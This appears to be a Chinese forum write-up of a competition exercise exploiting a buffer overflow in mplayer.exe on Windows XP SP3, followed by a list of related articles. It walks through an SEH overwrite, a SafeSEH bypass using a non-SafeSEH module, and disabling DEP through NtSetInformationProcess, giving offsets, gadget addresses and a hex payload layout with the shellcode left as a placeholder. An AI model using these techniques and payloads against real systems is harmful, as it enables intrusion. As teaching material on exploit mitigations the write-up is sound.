【文章作者】       :h_one
【漏洞程序名称】:mplayer.exe
【漏洞类型】       :缓冲区溢出
【保护方式】       :safeseh+dep
【操作平台】       : xp sp3
【工具】              :windbg, immunity Debugger,mona等
ps:这个程序是前两年xx比赛的题目,肯定有朋友玩过了,要求是利用seh进行漏洞利用,同时开启dep保护。
我想,那时我应该在玩泥巴,不知道啥叫crack,fuzz,漏洞挖掘利用等。挖掘利用此漏洞的首先了解windows的safeseh,dep保护,以
及知道怎么绕过。还有在模糊测试时,要根据程序本身处理哪类文件,进而触发漏洞。在程序比较大功能比较多时,这真的就是体力活了,可是首先使用IDA静态分析,看一下目标地址是否为栈分配,源数据是否可控,然后锁定那个调用(堆栈回朔看前面函数处理),分析源数据是从哪里来的。这些杂七杂八的是个人对漏洞挖掘的理解吧.......下面进入本文正题

此次是在xp sp3下操作的,而xp sp3默认dep是关闭的,首先我们的开启dep保护

第一步:Fuzz,触发漏洞
此软件为音乐播放器,处理的数据一般的都.mp3 ,m3u,皮肤 文件。方法:体力+耐力+运气   不知道大家有没有什么好的方法能比较快的触发漏洞
首先利用immunity Debugger调试发现:程序在打开m3u文件时,会将m3u文件所在路径与数据一起拷贝,我是将测试文件放在桌面的。

利用msf创建m3u后缀的fuzz数据 发现在6k大小是 程序发生异常

第二步:利用no-safeSeh模块地址覆盖seh,绕过safesef,并返回到准备的数据缓冲区
接下来用windbg附加看看

发生了异常从上图看msvcrt!strcat+81:av异常
此时看看异常链情况

执行!exchain

异常链已被准备的数据覆盖,噢,,,,那么接下来可以利用覆盖seh得到程序控制权.
计算seh偏移

接下来用py写简单的脚本,junks 用0x90填充 方便后面修改
在5115出写上esh,由于是在xp sp3下对seh的攻击肯定是存在safeseh保护的,因此接下来要绕过safeseh保护。
safeseh绕过方法:
利用SafeSEH保护模块之外的地址
对于目前的大部分windows操作系统,其系统模块都受SafeSEH保护,可以选用未开启SafeSEH保护的模块来利用,比如漏洞软件本身自带的 dll文件,
这个可以借助OD插件SafeSEH来查看进程中各模块是否开启SafeSEH保护。除此之外,也可通过直接覆盖返回地址 (jmp/call
esp)来利用。另一种方法,如果esp +8 指向EXCEPTION_REGISTRATION 结构,那么你仍然可以寻找一个
pop/pop/ret指令组合(在加载模块的地址范围之外的空间),也可以正常工作。但如果你在程序的加载模块中找不到pop/pop/ret 指令,
你可以观察下esp/ebp,查看下这些寄存器距离nseh 的偏移,接下来就是查找这样的指令:

call dword ptr[esp+nn] / jmp dword ptr[esp+nn]
call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn]
call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
(其中的nn 就是寄存器的值到nseh 的偏移,偏移nn可能是: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)。

很幸运的可以发现软件本身自带的dll没有safeseh保护,找了一条pop pop retn= 0x6D7C4637
典型safeseh保护攻击模型
• 在nseh 上放置向后的跳转指令(跳转7 字节:jmp 0xfffffff9);
• 向后跳转足够长的地址以存放shellcode,并借此执行至shellcode;
• 把shellcode 放在用于覆盖异常处理结构的指令地址之前。

["\x90"*5115] + [nseh] + [seh] + "\x90\x90\x90\xcc"      
no-safeseh
.......................................................................................................................................................................................................................................
覆盖超长字符找到seh地址 将其修改为加载模块之外地址,并下断点 shift+f9 查看异常处理时寄存器与堆栈情况

esp = 0x22E2DC
ebp = 0x22E2FC
看下我们输入的数据离此时esp多远

ForEsp: 0x22EBE5 - 0x22E2DC = 0x909
ForEbp: 0x22EBE5 - 0x22E2FC = 0x8E9
计算可了解到此时esp到我们准备数据至少位0x909,那么可以寻找指令add esp num (num >= 0x909) retn 这样程序就又可控了。

ADD ESP,xxxxxxxx的机器码:81 C4 xx xx xx xx
利用windbg搜索81 C4指令
s a 0x00000000 L?7fffffff 伳   (搜索 add esp XX XX XX XX)

选择0x64998c87   (add esp 0x96c) 修改seh为0x64998c87,再此进行调试观察堆栈情况

覆盖seh之后 执行到0x64998C87观察堆栈情况 成功进入堆栈

ESP已经指向我们的缓冲区了,下面看看ESP指向的地址相对RETN的偏移量,如图所示:

我们的缓冲区起始于0x22EBE5 ,而现在esp指向0x22EC5C,这里经行简单的计算:
0x22EC5C-0x22EBE5 = 0x77(119)大概是这么多吧,这里可以直接在直接窗口里修改,然后二进制拷贝到winhex

呵呵,算是甩开safeseh了,这要进入我们准备的数据区,只要关闭dep跳入shellcode就算是胜利了。
现在构造的数据模型应该是:my buffer = “\x90” * 119+ “Close_dep” + “\x90” x (5115 – 119) +“\x2C\x0E\x0A\x6D” +“\x90” *nums;
(ps:)

第四步:关闭dep,指向shellcode
dep:
数据执行保护,算是目前windows上最强保护了
绕过方法:
1.ret2lib

思路为:将返回地址指向lib库中的代码,而不直接跳转到shellcode 去执行,进而实现恶意代码的运行。可以在库中找到一段执行系统命令的代
码,比如system()函数,用它的地址覆盖返回地址,此时即使NX/XD 禁止在堆栈上执行代码,但库中的代码依然是可以执行的。函数
system()可通过运行环境来执行其它程序,例如启动Shell等等。另外,还可以通过VirtualProtect函数来修改恶意代码所在内存页面
的执行权限,然后再将控制转移到恶意代码,其堆栈布局如下所示:
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┓      
┃                        ┃            恶意代码              ┃内存高地址
┃                        ┣━━━━━━━━━━━━━━━━━┫┃
┃                        ┃        lpflOldProtect            ┃┃
┃                        ┣━━━━━━━━━━━━━━━━━┫┃
┃                        ┃          flNewProtect            ┃┃栈
┃       调用参数         ┣━━━━━━━━━━━━━━━━━┫┃
┃                        ┃             dwSize               ┃┃生
┃                        ┣━━━━━━━━━━━━━━━━━┫┃
┃                        ┃            lpAddress             ┃┃长
┃                        ┣━━━━━━━━━━━━━━━━━┫┃
┃                        ┃      恶意代码的入口地址          ┃┃方
┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
┃      返回地址          ┃    VirtualProtect函数地址        ┃┃向
┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
┃ EBP上层函数堆栈基址    ┃                                  ┃┃
┣━━━━━━━━━━━━┫                                  ┃┃
┃ 异常例程入口地址(若有 ┃     填充数据的覆盖区域          ┃┃
┃设置的话,比如try…catch)┃       (AAAAAAAA……)           ┃┃
┣━━━━━━━━━━━━┫                                  ┃▼
┃      局部变量          ┃                                  ┃内存低地址
┗━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━┛

本问绕过方法使用关闭dep
此方法的主要原理就是利用NtSetInformationProcess()函数来设置 KPROCESS 结构中的相关标志位,进而关闭DEP
具体实现思路
1.将al设置为1,比如指令mov al,1 / ret,然后用该指令地址覆盖返回地址:
利用OllyFindAddr插件可以找到绕过dep的指令地址
mov al 0x1 rent 地址:0x7c80c190

观察寄存器情况 堆栈情况 下图

junks+mov_eax+rev_ebp+add_sep+jmp_esp+close_dep+jmp_shellcode+nops + shellcode+nopsh+seh_add_esp)
最后构造的数据模型:(可能会有不同在实际调试时修改)
     junks mov al ,1; retn; push esp pop ebp retn 0x4      retn 0x24   jmp esp    close_dep jmp_shellcode nop1s shellcode nop2s add esp
0x96C;pop;pop;pop;retn;
"\x90"*0x73 "\x90\xc1\x80\x7c" "\xE5\xE0\x72\x7D" "\xfd\x9f\x75\x7d" "\xb4\xc1\xc5\x7d" "\x24\xcd\x93\x7c" "\xeb\x22\x90\x90" "\x90" * 0x85 "\x......\x" "\x90"*num "\x7D\x8c\x99\x64"

到此成功绕过

本主题由 Hmily 于 2014-7-9 14:19 删除回复

11.png
(1 KB, 下载次数: 7)

10.png
(7.94 KB, 下载次数: 6)

 
 
原文地址:http://www.52pojie.cn/thread-240617-1-1.html

safeseh+dep保护绕过的更多相关文章

  1. 利用 ROP 技术绕过 DEP 保护的一次简单尝试

    \x 01 前言 DEP是数据执行保护的英文缩写,全称为Data Execution Prevention.数据执行保护(DEP) 是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意 ...

  2. SafeSEH原理及绕过技术浅析

    SafeSEH原理及绕过技术浅析 作者:magictong 时间:2012年3月16日星期五 摘要:主要介绍SafeSEH的基本原理和SafeSEH的绕过技术,重点在原理介绍. 关键词:SafeSEH ...

  3. 基础知识 SafeSEH DEP ASLR SEHOP

    大多是0day书上抄的 1.SafeSEH 机制: 首先:内存中有SEH表的备份(加密过的) 在调用异常出来函数前,RtlDispatchException()函数中的行为: Ⅰ.检查异常处理链是否位 ...

  4. PIE保护绕过

    (一):partial write 开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write.但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是 ...

  5. 内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制

    1.1    SEHOP保护机制 1.1.1    SEHOP工作原理: SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下: BOOL RtlIsValidHandler(handle ...

  6. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  7. 使用ROP攻击绕过Windows的DEP

    使用ROP攻击绕过Windows的DEP 基础知识 DEP DEP(Data Execution Prevention)意为数据执行保护,是Windows的一项安全机制,主要能够在内存上执行额外检查以 ...

  8. Linux下利用Ret2Libc绕过DEP

    Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...

  9. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

随机推荐

  1. Hao123这个流氓

    Author:KillerLegend Date:2014.2.27 From:http://www.cnblogs.com/killerlegend/p/3572591.html Hao123真让人 ...

  2. 基于OWIN WebAPI

    http://www.cnblogs.com/Irving/p/4607104.html http://www.cnblogs.com/xishuai/p/aspnet-webapi-owin-oau ...

  3. 大话RAC介质恢复---只有备份文件的恢复

    场景:Oracle 10g RAC:数据文件.控制文件.联机日志.参数文件都使用ASM,归档到ASM.完整备份后,删除所有控制文件.联机日志.数据文件:最后利用备份进行不完全恢复. 1.模拟灾难场景( ...

  4. 十天学会单片机Day3 D/A与A/D转换器

    D/A转换器 1.二进制权电阻网络型D/A转换器 基准电压Vref 数据D(d3d2d1d0) 输出模拟电压V0 i0 = Vref/8R    i1 = Vref/4R     i2 = Vref/ ...

  5. LinearRegression

    利用python实现简单的线性回归对房屋面积进行预测 # -*-coding:utf-8 -*- ''' Created on 2016年12月15日 @author: lpworkdstudy '' ...

  6. Android无法连接adb的解决方法

    今天在折腾乐蛙时发现无法链接ADB了,但是手机却显示USB调试模式! 然后想起了大蛋曾经告诉我CM的解决方法,于是你懂得,俺差点就把菊花给卖了呢(/Д`)~゚。 adb shell rm -r /da ...

  7. angularjs2 学习笔记(一) 开发环境搭建

    开发环境,vs2013 update 5,win7 x64,目前最新angular2版本为beta 17 第一步:安装node.js 安装node.js(https://nodejs.org/en/) ...

  8. 部分手机不能连PC adb

    http://www.th7.cn/Program/java/201407/232139.shtml 1. 命令行中执行 android update adb [这一步的目的是产生下面第二步的路径和文 ...

  9. microsoft azure Media Services 媒体服务解决方案

    用安全的方式为您随时随地跨设备传送媒体内容.提供可伸缩的端到端媒体解决方案 可用于高级视频工作流的云 实现奥运会规模的直播与点播媒体传送 高可用的编码和流式处理 支持 Flash.iOS.Androi ...

  10. 记录bigdesk中ElasticSearch的性能参数

    定时采集bigdesk中的Elasticsearch性能参数,并保存到数据库或ELK,以便于进行长期监控. 基于python脚本实现,脚本如下: #coding=gbk import httplibi ...